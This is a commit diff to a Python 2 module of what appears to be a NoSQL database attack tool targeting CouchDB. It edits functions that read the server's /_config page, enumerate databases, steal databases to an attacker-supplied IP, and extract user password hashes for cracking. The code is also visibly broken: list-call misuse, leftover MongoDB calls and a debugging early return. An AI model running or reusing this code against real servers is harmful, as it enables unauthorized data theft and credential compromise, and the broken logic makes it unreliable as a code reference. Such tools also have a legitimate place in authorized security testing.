@@ -61,7 +61,7 @@ def couchScan(target,port,pingIt):
6161 return [3 ,None ]
6262
6363
64- def netAttacks (target ,port ):
64+ def netAttacks (target ,port , myIP ):
6565 print "DB Access attacks (CouchDB)"
6666 print "======================"
6767 mgtOpen = False
@@ -125,7 +125,7 @@ def netAttacks(target,port):
125125
126126 if attack == "1" :
127127 print "\n "
128- getPlatInfo (conn )
128+ getPlatInfo (conn , target )
129129
130130 if attack == "2" :
131131 print "\n "
@@ -143,16 +143,16 @@ def netAttacks(target,port):
143143 print "\n "
144144 stealDBs (myIP ,conn )
145145
146- if attack == "6 " :
146+ if attack == "5 " :
147147 return
148148
149- def getPlatInfo (couchConn ):
150- print "Server Info:"
151- print "CouchDB Version: " + couchConn .version ()
152- print "Configuration File:\n "
153- print str ( urllib .urlopen ("http://" + target + ":5984/_config" ))
154- print "\n "
155- return
149+ def getPlatInfo (couchConn , target ):
150+ print "Server Info:"
151+ print "CouchDB Version: " + couchConn .version ()
152+ print "Configuration File:\n "
153+ print urllib .urlopen ("http://" + target + ":5984/_config" ). read ( )
154+ print "\n "
155+ return
156156
157157def enumDbs (couchConn ):
158158 global dbList
@@ -162,20 +162,14 @@ def enumDbs (couchConn):
162162 dbList .append (db )
163163
164164 print "List of databases:"
165- print "\n " .join (mongoConn . database_names () )
165+ print "\n " .join (dbList )
166166 print "\n "
167+ return #debug
167168
168169 except :
169170 print "Error: Couldn't list databases. The provided credentials may not have rights."
170171
171- try :
172- for dbItem in mongoConn .database_names ():
173- db = mongoConn [dbItem ]
174- print dbItem + ":"
175- print "\n " .join (db .collection_names ())
176- print "\n "
177-
178- if 'system.users' in db .collection_names ():
172+ if '_users' in dbList ():
179173 users = list (db .system .users .find ())
180174 print "Database Users and Password Hashes:"
181175
@@ -187,10 +181,5 @@ def enumDbs (couchConn):
187181
188182 if crack in yes_tag :
189183 passCrack (users [x ]['user' ],users [x ]['pwd' ])
190-
191- except :
192- print "Error: Couldn't list collections. The provided credentials may not have rights."
193-
194- print "\n "
195- return
184+ return
196185
0 commit comments